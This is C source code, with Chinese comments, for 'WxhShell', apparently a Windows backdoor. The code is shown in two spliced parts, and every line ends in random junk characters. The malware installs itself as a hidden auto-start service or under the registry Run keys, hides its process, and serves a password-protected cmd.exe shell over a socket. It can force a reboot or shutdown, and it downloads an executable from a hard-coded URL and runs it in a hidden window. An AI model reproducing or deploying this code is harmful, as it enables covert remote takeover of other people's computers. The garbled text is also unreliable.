    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZAU#^bEQB  
    if(Boot(SHUTDOWN)) K0_gMi+bR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @v ^j<B  
    else { '7PaJj=Nx  
    closesocket(wsh); G"E_4YkJ  
    ExitThread(0); >;hAw!|#  
    } i>,AnkI&  
    break; ~gW^9nWYU  
    } d)bsyZ;U  
  // 获取shell A9 g%>  
  case 's': { OR!W3 @  
    CmdShell(wsh); ![_0GFbT  
    closesocket(wsh); xQDQgvwa  
    ExitThread(0); HnKgD:  
    break; _fu <`|kc  
  } bKGX> %-  
  // 退出 H!Q72tyo  
  case 'x': { d?J&mLQ6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;>jEeIlT  
    CloseIt(wsh); o h\$u5  
    break; %+Ze$c}X  
    } Iq4B%xo6G  
  // 离开 bTrusSAl  
  case 'q': { \>Rfa+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [%^sl>,7  
    closesocket(wsh); [SC6{ |  
    WSACleanup(); vg[3\!8z[  
    exit(1); @-Q l6k  
    break; oC49c~`8  
        }  jF0"AA  
  } RPgz"-  
  } ]S[/ a  
.4[3r[  
  // 提示信息 T\bP8D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IF0!@f  
} bI|G %  
  } o}114X4q;  
Z;81 "   
  return; 'xj5R=V  
} "QNQ00[T`>  
w/ rQOHV{  
// shell模块句柄 y42 Cg  
int CmdShell(SOCKET sock) aMY@**^v  
{ )V2W:M  
STARTUPINFO si; "W%YsN0  
ZeroMemory(&si,sizeof(si)); X1`3KqK<9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gh ?[x.U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o4WQA"VxM  
PROCESS_INFORMATION ProcessInfo; aMhVO(+FW  
char cmdline[]="cmd"; k%cE8c}R;A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q0VAkVHw4  
  return 0; Wy7w zt  
} G/Sp/I<d  
gtu<#h(  
// 自身启动模式 X\ P%C  
int StartFromService(void) rx2'].  
{ |_TI/i>?'  
typedef struct |*NZ^6`@  
{ )/>BgXwH  
  DWORD ExitStatus; [M~tH *4"  
  DWORD PebBaseAddress; O%\cRn8m  
  DWORD AffinityMask; zvdut ,6<  
  DWORD BasePriority; "4\  
  ULONG UniqueProcessId; 3< ?+Yhq  
  ULONG InheritedFromUniqueProcessId; { sC Ni  
}   PROCESS_BASIC_INFORMATION; A5yVxSF  
F6[F~^9D  
PROCNTQSIP NtQueryInformationProcess; uW!XzX['  
MmjZq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lxL.ztL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^%9oeT{  
/Rq\Mgb  
  HANDLE             hProcess; "x=\mA#`  
  PROCESS_BASIC_INFORMATION pbi; '?veMX  
w/nohZF6H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %o%V4K*  
  if(NULL == hInst ) return 0; T{C;bf:Q  
W^ L ^7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /_qq(,3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r3g^ 0|)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ia#!T"]@W6  
MIIl+   
  if (!NtQueryInformationProcess) return 0; y ;[~(Yg[  
js81@WX!c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H u;"TG  
  if(!hProcess) return 0; G9Uc }z  
Z\CvaX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C LaQE{  
.u&xo{$'dS  
  CloseHandle(hProcess); (O0Ry2u k  
|z=`Ur@)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ct3i^,i  
if(hProcess==NULL) return 0; AuXUD9 -  
z.cDbkf}  
HMODULE hMod; CXuD%H]tx  
char procName[255]; Yn ~fnI{  
unsigned long cbNeeded; c{/R?<  
eW(pP>@k,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 qfvHQ ~M  
6AAvsu:  
  CloseHandle(hProcess); H:~p5t  
G)?*BH  
if(strstr(procName,"services")) return 1; // 以服务启动 J.1 c,@  
R xITMt  
  return 0; // 注册表启动 +QFKaS<sn  
} !+PrgIp>  
dRron_'  
// 主模块 Jj \ nye+  
int StartWxhshell(LPSTR lpCmdLine) ~{Iw[,MJ  
{ c6xr[tc%  
  SOCKET wsl; (WT\HR  
BOOL val=TRUE; 3k)xzv%r`  
  int port=0; m| ,Tk:xH  
  struct sockaddr_in door; zas&gsl-;  
jum"T\  
  if(wscfg.ws_autoins) Install(); SF:98#pg  
$k\bP9  
port=atoi(lpCmdLine); ..8t1+S6]  
#AGO~#aK  
if(port<=0) port=wscfg.ws_port; tw$EwNI[  
hH1Q:}a  
  WSADATA data; _s^tL2Pc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h.vy SwF"j  
uy<3B>3~.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   utZI'5i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U7x  
  door.sin_family = AF_INET; V|'@D#\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "mJo<i}  
  door.sin_port = htons(port); lubsLI  
#EzhtuHxn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %]LoR$|Y  
closesocket(wsl); L>14=Pr^(  
return 1; Z2]0brV  
} mKe6rEUs|  
=T[P  
  if(listen(wsl,2) == INVALID_SOCKET) { daKZ*B|  
closesocket(wsl); gtuSJ+up  
return 1; n{4iW_/D  
} zq</(5H  
  Wxhshell(wsl); fxcE1=a  
  WSACleanup(); swj\X ,{  
m=6?%' H}  
return 0; ; pBLmm*F  
\7LL neq  
} jv~#'=T'  
~RbVcB#  
// 以NT服务方式启动 Eq)b=5qrG?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wMCMrv:  
{ :(~<BiqR(  
DWORD   status = 0; `C>h]H(  
  DWORD   specificError = 0xfffffff; pqO3(2F9  
bDvGFSAH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j>JBZ#g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d8: $ll  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }6[jJ`=gOx  
  serviceStatus.dwWin32ExitCode     = 0; nr]=O`Mvh  
  serviceStatus.dwServiceSpecificExitCode = 0; %_E5B6xi{  
  serviceStatus.dwCheckPoint       = 0; 66?`7j X  
  serviceStatus.dwWaitHint       = 0; uN<=v&]q  
 GhfhR^P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wetu.aMp  
  if (hServiceStatusHandle==0) return; gaXo)oS  
i`@cVYsL  
status = GetLastError(); la{?&75]  
  if (status!=NO_ERROR) = cxO@Fu  
{ U[pHT _U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J0IKI,X.  
    serviceStatus.dwCheckPoint       = 0; _W(xO |,M  
    serviceStatus.dwWaitHint       = 0; R WY>`.su  
    serviceStatus.dwWin32ExitCode     = status; \ *CXXp`  
    serviceStatus.dwServiceSpecificExitCode = specificError; @-)S*+8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^IiA(?8  
    return; w]MI3_|'r(  
  } ODu/B'*  
`S((F|Ty=;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l)$mpMgAD  
  serviceStatus.dwCheckPoint       = 0; [Z/P[370  
  serviceStatus.dwWaitHint       = 0; ]xvhUv!G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YTTy6*\,_  
} E4Q`)6]0  
:j+E]|d(~6  
// 处理NT服务事件,比如:启动、停止 vltE2mb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zk$h71<{.  
{ {($mLfC4  
switch(fdwControl) c= 2E/x?  
{ C3 "EZe[R  
case SERVICE_CONTROL_STOP: <IR@/b!,  
  serviceStatus.dwWin32ExitCode = 0; qsp3G7\'=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;fqp!|J  
  serviceStatus.dwCheckPoint   = 0; LF.i0^#J  
  serviceStatus.dwWaitHint     = 0; 4mY^pQ1=L  
  { EO+Ix7w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TQeIAy  
  } ;VCV%=W<  
  return; MMa`}wSs  
case SERVICE_CONTROL_PAUSE: fAStM:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S3x^#83  
  break; *}:P  
case SERVICE_CONTROL_CONTINUE: PYQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \KJTR0EB:>  
  break; iJ58RY  
case SERVICE_CONTROL_INTERROGATE: i/!{k2  
  break; ){GJgk|P  
}; / w dvm4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &S.p%Qe"  
} ;,Vdj[W$>  
_RcEfT  
// 标准应用程序主函数 Qq{tX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wa[J\lW  
{ N/-(~r[  
CPa+?__B  
// 获取操作系统版本 EM<W+YU  
OsIsNt=GetOsVer(); u^C\aujg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K'8o'S_bF  
<EyJ $$  
  // 从命令行安装 d.ywH;  
  if(strpbrk(lpCmdLine,"iI")) Install(); @ ~{TL  
f4<~_ZGr  
  // 下载执行文件 ~*h)`uM  
if(wscfg.ws_downexe) { ZD50-w;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Dr4?6hdr  
  WinExec(wscfg.ws_filenam,SW_HIDE); CNuE9|W(vI  
} b?=r%D->w  
Sy.%>$z  
if(!OsIsNt) { uF%N`e^S  
// 如果时win9x,隐藏进程并且设置为注册表启动 Nc6y]eGz  
HideProc(); *C)m#[#:u  
StartWxhshell(lpCmdLine); fc:87ZR{K  
} ;N!n06S3  
else rfdA?X{Q0  
  if(StartFromService()) ~mH'8K|l  
  // 以服务方式启动 i]zh8|">  
  StartServiceCtrlDispatcher(DispatchTable); ^38k xwh  
else 9&kY>M>z0  
  // 普通方式启动 :1'1 n  
  StartWxhshell(lpCmdLine); n>^9+Rx|i  
78T;b7!-C  
return 0; ]mJ9CP8P1c  
} 5FJ%"5n&  
p^{yA"MQ  
f3,Xb ]h  
k"dE?v\cG  
=========================================== ViOXmK"  
4u p7 :?  
V'.gE6we  
HU +271A8  
`h'Ab63  
%,N-M]Jf  
" "}uu-5]3  
WFug-#;e  
#include <stdio.h> V!e`P  
#include <string.h> DS|x*w'I  
#include <windows.h> ieEt C,U  
#include <winsock2.h> >SZuN"r8`  
#include <winsvc.h> AnsJ3C  
#include <urlmon.h> 6(Cjak+~!  
f b8xs<  
#pragma comment (lib, "Ws2_32.lib") T/L\|_:'  
#pragma comment (lib, "urlmon.lib") 6jal5<H  
{dl@ #T u  
#define MAX_USER   100 // 最大客户端连接数 EA:_PBZ  
#define BUF_SOCK   200 // sock buffer A?ESjMy(R  
#define KEY_BUFF   255 // 输入 buffer ^SUo-N''  
<p_2&& ?  
#define REBOOT     0   // 重启 |<YF.7r;  
#define SHUTDOWN   1   // 关机 dZJU>o'BG  
{=^<yK2q  
#define DEF_PORT   5000 // 监听端口 usugjx^p  
H'2o84$  
#define REG_LEN     16   // 注册表键长度 yK2>ou  
#define SVC_LEN     80   // NT服务名长度 + L 5  
j,_{f =3;  
// 从dll定义API FP6Jf I8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fb]=MoiJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7z&^i-l.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )6he;+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w/0;N`YB  
9 Xh<vh8&  
// wxhshell配置信息 ,(yaWd6  
struct WSCFG { n<[H!4  
  int ws_port;         // 监听端口 -fz(]d  
  char ws_passstr[REG_LEN]; // 口令 {>&M:_`k  
  int ws_autoins;       // 安装标记, 1=yes 0=no MIv,$  
  char ws_regname[REG_LEN]; // 注册表键名 t1l4mdp  
  char ws_svcname[REG_LEN]; // 服务名 Gm\jboef]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {2&MyxV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^6 ,}*@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mc6W"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s[*I210  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1UH_"Q03  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DV bY   
PurY_  
}; ` \-m qe  
28,HZaXhc  
// default Wxhshell configuration 5sMyH[5zY  
struct WSCFG wscfg={DEF_PORT, u7u1lx>S  
    "xuhuanlingzhe", L: _pJP  
    1, H,1I z@W1  
    "Wxhshell", #fe zUU  
    "Wxhshell", 52Q~` t7F  
            "WxhShell Service", QTI^?@+N>  
    "Wrsky Windows CmdShell Service", Z5>}  
    "Please Input Your Password: ", !:dhK  
  1, ]O68~+6  
  "http://www.wrsky.com/wxhshell.exe", 62xAS#\K>  
  "Wxhshell.exe" nqujT8  
    }; 3rv~r0  
3n TpL#  
// 消息定义模块 *7/MeE6)i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I#t# %!InH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ) ]]PhGX~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~M J3-<I  
char *msg_ws_ext="\n\rExit."; x@"`KiEUs  
char *msg_ws_end="\n\rQuit."; 7y>{Y$n  
char *msg_ws_boot="\n\rReboot..."; N%8aLD  
char *msg_ws_poff="\n\rShutdown..."; .*w3ryQ  
char *msg_ws_down="\n\rSave to "; Zv1/J}+  
E@ !~q  
char *msg_ws_err="\n\rErr!"; ;ZLfb n3\  
char *msg_ws_ok="\n\rOK!"; Js8d{\0\  
T ;JA.=I  
char ExeFile[MAX_PATH]; ,Z]4`9c  
int nUser = 0; :j!N7c{  
HANDLE handles[MAX_USER]; +QFY. >KH  
int OsIsNt; T_?,?  
K"ytE2:3  
SERVICE_STATUS       serviceStatus; xHdv?69,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !p"Ijz5  
{nmBIk2v  
// 函数声明 [ U?a %$G>  
int Install(void); lF1ieg"i M  
int Uninstall(void); 0f|nI8,z  
int DownloadFile(char *sURL, SOCKET wsh); V\><6v  
int Boot(int flag); xYWg1e$k  
void HideProc(void); E./Gt.Na  
int GetOsVer(void); )SFy Q  
int Wxhshell(SOCKET wsl); oQ8If$a}  
void TalkWithClient(void *cs); 0_-NE4SM/  
int CmdShell(SOCKET sock); %Nm69j-5%  
int StartFromService(void); f<~S0[H  
int StartWxhshell(LPSTR lpCmdLine); +q4AK<y-  
wpPCkfPyL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5U&?P   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &8wluOs/5  
3sq(FsT  
// 数据结构和表定义 *6%r2l'kZ  
SERVICE_TABLE_ENTRY DispatchTable[] = '@+a]kCMev  
{ d#G H4+C  
{wscfg.ws_svcname, NTServiceMain}, |yow(2(F@  
{NULL, NULL} 0xg6  
}; e!~x-P5M`  
|#!P!p}  
// 自我安装 wNm~H  
int Install(void) T8rf+B/.L  
{ g{06d~Y  
  char svExeFile[MAX_PATH]; ,t_Fo-i7vI  
  HKEY key; 0FD+iID  
  strcpy(svExeFile,ExeFile); WKPuIE:  
Fs EPM"&?h  
// 如果是win9x系统,修改注册表设为自启动 A `n:q;my  
if(!OsIsNt) { kUG3_ *1 .  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .!hB tR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K2R[u#Q  
  RegCloseKey(key); {n>W8sN<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pI|H9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BWN[>H %S  
  RegCloseKey(key); S7 Tem:/  
  return 0; (Q09$  
    } FO5'<G-  
  } !EQMTF=(  
} v(tr:[V  
else { <+c6CM$#}V  
7&z`N^dz{  
// 如果是NT以上系统,安装为系统服务 "ewB4F[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q9&d24|  
if (schSCManager!=0) kdry a  
{ M%8:  
  SC_HANDLE schService = CreateService h0fbc;l  
  ( GM<r{6Qy  
  schSCManager, &<sN( ;%0R  
  wscfg.ws_svcname, _=eeZ4f  
  wscfg.ws_svcdisp, G}b LWA  
  SERVICE_ALL_ACCESS, J<{@D9r9<~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M _z-~G  
  SERVICE_AUTO_START, `o~9a N  
  SERVICE_ERROR_NORMAL, m mj6YQ0a  
  svExeFile, isP4*g&%x  
  NULL, IuQY~!  
  NULL, SrVJ Q~ :>  
  NULL, `<L6Q2Y>j  
  NULL, { +%S{=j  
  NULL ~^Y(f'{  
  ); U\A*${  
  if (schService!=0) -IB~lw  
  { Rg6e7JVu  
  CloseServiceHandle(schService); 'nM)=  
  CloseServiceHandle(schSCManager); $iA`_H`W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v&EHp{8Qd  
  strcat(svExeFile,wscfg.ws_svcname); ZdD]l*.\i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FFNv'\)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |h,aV(Q  
  RegCloseKey(key); 04wmN  
  return 0; ci^+T *  
    } !.'@3-w]  
  } |'2E'?\/x  
  CloseServiceHandle(schSCManager); P2`!)teN  
} ~ 0x9`~  
} b:S#Sz$  
&zF1&J58z  
return 1; 7 C5m#e3  
} ,z?Re)q m  
#n'tpp~O  
// 自我卸载 \DE`tkV8  
int Uninstall(void) j_?U6$xi  
{ k.DDfuKN  
  HKEY key; uSs~P%@6|  
GJA3  
if(!OsIsNt) { c4R6E~S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^AUmIyf_  
  RegDeleteValue(key,wscfg.ws_regname); [Uezi1I  
  RegCloseKey(key); pt;kN&A^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ve&(izIh  
  RegDeleteValue(key,wscfg.ws_regname); m.MOn3n]  
  RegCloseKey(key); X }yEMe{T  
  return 0; XY5I5H_U  
  } J0}OmNTzD  
} rBP!RSl1  
} 7 3k3(rZ  
else { $o`N%]  
eD*"#O)W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ".qh]RVjV  
if (schSCManager!=0) +[JGi"ca  
{ .(  vS/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5M~\'\;  
  if (schService!=0) IiACr@[?e  
  { :Q\b$=,:  
  if(DeleteService(schService)!=0) { Xv'M\T}6C+  
  CloseServiceHandle(schService); bf `4GD(  
  CloseServiceHandle(schSCManager); _?3bBBy  
  return 0; bgd1j,PWbW  
  } aT#R#7<Eg  
  CloseServiceHandle(schService); 5w`v 3o  
  } !V.'~xj  
  CloseServiceHandle(schSCManager); S)GWr"m-  
} 6ZVJ2xs[%  
} !9i,V{$c`"  
:<s)QD  
return 1; +EcN[-~  
} GP uAIoBo  
] w FFGy  
// 从指定url下载文件 9[|Ql  
int DownloadFile(char *sURL, SOCKET wsh) Pe/cwKCI  
{ un[Z$moN"  
  HRESULT hr; #5T+P8  
char seps[]= "/"; +"a . ,-f!  
char *token; <!&&Qd-d6H  
char *file; DL2gui3  
char myURL[MAX_PATH]; ;KmSz 1A  
char myFILE[MAX_PATH]; POc< G^  
" 7RQrz  
strcpy(myURL,sURL); '?_;s9)  
  token=strtok(myURL,seps); gQ*0Mk  
  while(token!=NULL) jd=k[Yqr  
  { TE0hV w0c  
    file=token; \{n]&IjA  
  token=strtok(NULL,seps); i 4eb\j  
  } 1P4jdp=~  
oa+Rr&t'  
GetCurrentDirectory(MAX_PATH,myFILE); 0?ZJJdI3  
strcat(myFILE, "\\"); _ 9Tv*@  
strcat(myFILE, file); 5-bd1!o  
  send(wsh,myFILE,strlen(myFILE),0); QdG_zK>|e  
send(wsh,"...",3,0); 9S.Uo[YY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5A /G?  
  if(hr==S_OK) 8|?$KLz?F>  
return 0; G7`7e@{  
else \<~[uv'  
return 1; Q5iuK#/  
`w]=x e  
} &M ~*w~w`  
jGd{*4{3+  
// 系统电源模块 F`U%xn,  
int Boot(int flag) eQno]$-\  
{ \no[>L]  
  HANDLE hToken; M=e]v9  
  TOKEN_PRIVILEGES tkp; w:& m_z#M  
|qJQWmJO&U  
  if(OsIsNt) { cxrUk$f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3t(nV4uDF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ./)A6O*#  
    tkp.PrivilegeCount = 1; Xf9<kbRw/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ) ]U-7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1,Uv;s;{  
if(flag==REBOOT) { x\!Qe\lE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )`^t,x<S  
  return 0; d$kGYMT"  
} s*:J=+D]G  
else { "W|Sh#JF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) goeWZO  
  return 0; t&wtw  
} 3*3WO,9  
  } Nj qUUkc  
  else { Ta%{Wa\U9z  
if(flag==REBOOT) { uE-~7Q(@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J-A CV(z=q  
  return 0; Tl%#N"  
} 'i{kuTv  
else { "MKgU[t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "o`N6@[w^  
  return 0; 8,#v7ns}#  
} ;_,=  
} g ` 6Xrf  
_NA0$bGN9  
return 1; GrW+P[j9  
} .#6Dad=S*  
<u*~RYA2  
// win9x进程隐藏模块  s6rdQI]  
void HideProc(void) M/ 0!B_(R  
{ P8Fq %k  
EMmNlj6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y1(smZU  
  if ( hKernel != NULL ) o';sHa'  
  { M$ `b$il  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7Nw7a;h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;-lk#D?n9  
    FreeLibrary(hKernel); +L!-JrYHS4  
  } \('8 _tqI"  
Y>{K2#k  
return;  RN'|./N  
} |%g^6RN  
A /,7%bB1  
// 获取操作系统版本 wZ,9~P 7  
int GetOsVer(void) ^vLHs=<  
{ ]ZelB,7q  
  OSVERSIONINFO winfo; amK?LDf]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A jr]&H4  
  GetVersionEx(&winfo); ce/Rzid  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bPAp0}{Fu  
  return 1; :O{`!&[>L  
  else 3lqR(Hh3  
  return 0; +n%uIv  
} m\__Fl  
B9/x?Jv1  
// 客户端句柄模块 '%yWz)P  
int Wxhshell(SOCKET wsl) s@E "EWp0  
{ } '.l'%  
  SOCKET wsh; #qGfo)  
  struct sockaddr_in client; ;+g p#&i`  
  DWORD myID; >lU[ lf+/  
4iBp!k7  
  while(nUser<MAX_USER) KY<>S/  
{ ;WC]Lf<Z^  
  int nSize=sizeof(client); 29 L~SMf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7@$Hua,GY  
  if(wsh==INVALID_SOCKET) return 1; |Ma"B4  
13I 7ah  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xa.Qt.C  
if(handles[nUser]==0) p\wE})mu  
  closesocket(wsh); # nwEF QA  
else n|Iy  
  nUser++; lV: R8^d  
  } %'nM!7w@I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !krbGpTVH  
+ O=wKsGD  
  return 0; F``$}]9KHD  
} OWx YV$  
E'?yI' ~=  
// 关闭 socket t?L;k+sMM  
void CloseIt(SOCKET wsh) 9w^1/t&=04  
{ M2(+}gv;7p  
closesocket(wsh); ^rMkCA@;TZ  
nUser--; ZMy0iQ@  
ExitThread(0); d_BECx <\  
} YgNt>4K  
7c1xB.g   
// 客户端请求句柄 4P( Y34j  
void TalkWithClient(void *cs) H-~V:OCB~  
{ zdrCr0Rx,  
Wp`wIe6  
  SOCKET wsh=(SOCKET)cs; _(&^M[O  
  char pwd[SVC_LEN]; QU_O9 BN  
  char cmd[KEY_BUFF]; WLd{+y5#  
char chr[1]; Fd":\7p  
int i,j; '3O@Nxof4  
Mp^%.m  
  while (nUser < MAX_USER) { xAw$bJj~s  
I$9^i#O'3  
if(wscfg.ws_passstr) { +VkhM;'"C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?D]4*qsIlu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tI0d!8K  
  //ZeroMemory(pwd,KEY_BUFF); 1T a48  
      i=0; , \ |S BS  
  while(i<SVC_LEN) { s]Nh9h  
oA%8k51>~K  
  // 设置超时 m!3b.2/h  
  fd_set FdRead; BoE;,s>]NW  
  struct timeval TimeOut; y8'WR-;  
  FD_ZERO(&FdRead); i[/g&fx  
  FD_SET(wsh,&FdRead); 3zo]*6p0  
  TimeOut.tv_sec=8; >!MOgLO3  
  TimeOut.tv_usec=0;  ^E*W B~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sy=M#WGS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Sr/'7 K  
f^z~{|%l!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wWv")dk3i  
  pwd=chr[0]; I&?(=i)N  
  if(chr[0]==0xd || chr[0]==0xa) { "Kx2k>ym  
  pwd=0; U~n>k<`sr  
  break;  Veo:G{  
  } (xf_  
  i++; 5@ecZ2`)+h  
    } 19Xc0ez  
m=<Tylv  
  // 如果是非法用户,关闭 socket u[q1]]   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -B-?z?+(O  
} YjN2 ,Xi  
]fvU}4!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4nQk*:p(X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i_Dv+^&zV  
/. GHR  
while(1) { FtXd6)_S  
d0$dQg  
  ZeroMemory(cmd,KEY_BUFF); 23 j{bK  
SQhk)S  
      // 自动支持客户端 telnet标准   w DswK "T  
  j=0; 2`hc0 IE  
  while(j<KEY_BUFF) { .}n,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WPi^;c8  
  cmd[j]=chr[0]; W iqlc  
  if(chr[0]==0xa || chr[0]==0xd) { u; \:#721  
  cmd[j]=0; mX3~rK>@~  
  break; vp@%wxl!:  
  } 4A^=4"BCV  
  j++; !Z[dK{ f"  
    } eIBHAdU+g/  
k>y68_  
  // 下载文件 =r=[e}&9  
  if(strstr(cmd,"http://")) { Pz#D9.D0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {j i;~9'Q  
  if(DownloadFile(cmd,wsh)) c6FKpdn%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~j SG7h  
  else c`}-i6  
